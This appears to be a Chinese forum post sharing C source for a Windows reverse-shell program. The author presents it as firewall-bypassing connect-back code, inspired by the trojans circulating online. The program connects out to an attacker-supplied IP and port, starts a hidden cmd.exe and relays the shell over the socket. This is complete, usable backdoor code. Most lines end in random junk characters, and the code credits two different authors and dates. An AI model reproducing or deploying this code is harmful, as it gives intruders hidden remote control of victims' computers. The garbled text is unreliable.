这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !&Q,]\j
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/* ============================== g?=B{V
Rebound port in Windows NT }d.R=A9L
By wind,2006/7 W@wT,yJ8@
===============================*/ Gw+z8^|C&}
#include EVq<gGy
#include ?rBj{]=
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#pragma comment(lib,"wsock32.lib") -^#Ix;%
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void OutputShell(); rcI(6P<*
SOCKET sClient; g<,v2A
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Eq.c;3
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void main(int argc,char **argv) ?5B}ZMW
{ J|xqfY@+
WSADATA stWsaData; }1R k]$XC
int nRet; W!tP sPM
SOCKADDR_IN stSaiClient,stSaiServer; I5x/N.
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if(argc != 3) 0A 4(RLGg
{ f[|xp?ef
printf("Useage:\n\rRebound DestIP DestPort\n"); ' J-(v
return; 8:s3Q`O
} Z]SCIU @+
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WSAStartup(MAKEWORD(2,2),&stWsaData); H>M%5bj
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kJDMIh|g
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stSaiClient.sin_family = AF_INET; sp_(j!]jX
stSaiClient.sin_port = htons(0); 7FMHz.ZRE
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %{}Jr`
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0.@/I}R[
{ H[>_LYZ8
printf("Bind Socket Failed!\n"); a3O_8GU
return; K]
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} sS-5W-&P{T
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stSaiServer.sin_family = AF_INET; E#HO0]S
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &)bar.vw/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6eS#L2 1*
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) l>qCT
{ L\-T[w),z7
printf("Connect Error!"); q>Q|:g&:
return; 2iH,U
} #Jm_~k
OutputShell(); '|]zBpz
} |fw+{f
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void OutputShell() "%.#/!RG
{ w:umr#
char szBuff[1024]; pg>P]a{
SECURITY_ATTRIBUTES stSecurityAttributes; -9aht}Z
OSVERSIONINFO stOsversionInfo; +i)1 jX<
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z4f5@
STARTUPINFO stStartupInfo; U3za}3
char *szShell; t: [[5];E
PROCESS_INFORMATION stProcessInformation; XD|&{/O
unsigned long lBytesRead; DG:=E/ @
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @8CD@SDv
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (O<lVz@8
stSecurityAttributes.lpSecurityDescriptor = 0; G+%ZN
stSecurityAttributes.bInheritHandle = TRUE; M.IV{gj
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Jx{,x-I
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X,OxvmDm
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |/<iydP
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m.^6ef
stStartupInfo.wShowWindow = SW_HIDE; ,]cd%w9
stStartupInfo.hStdInput = hReadPipe; D:F!;n9
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; AVcZ.+?
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GetVersionEx(&stOsversionInfo); { j/w3
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switch(stOsversionInfo.dwPlatformId) Mq7|37(N[
{ #JW1JCT
case 1: EAq >v
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szShell = "command.com"; 1gt[_P2u
break; &c\8`# 6
default: {==Q6BG*
szShell = "cmd.exe"; qkBnEPWZy
break; qb9%Y/xy
} WYh7Y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >)5vsqGZaK
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send(sClient,szMsg,77,0); j2\G1@05
while(1) K^>qn,]H'
{ ,%jJ
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); IcIMa
if(lBytesRead) ZtvU~'Q
{ @eMyq1ZU
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *Zc-&Dk:Ir
send(sClient,szBuff,lBytesRead,0); h5Z\9`f[
} ZU@V]+ww
else |aVv Lz
{ z[k2&=c
lBytesRead=recv(sClient,szBuff,1024,0); brVT
if(lBytesRead<=0) break; :heJ5*!,
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); A%2!Hr
} l%U9g
} y7w>/7q
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return; Zg'[.wov
}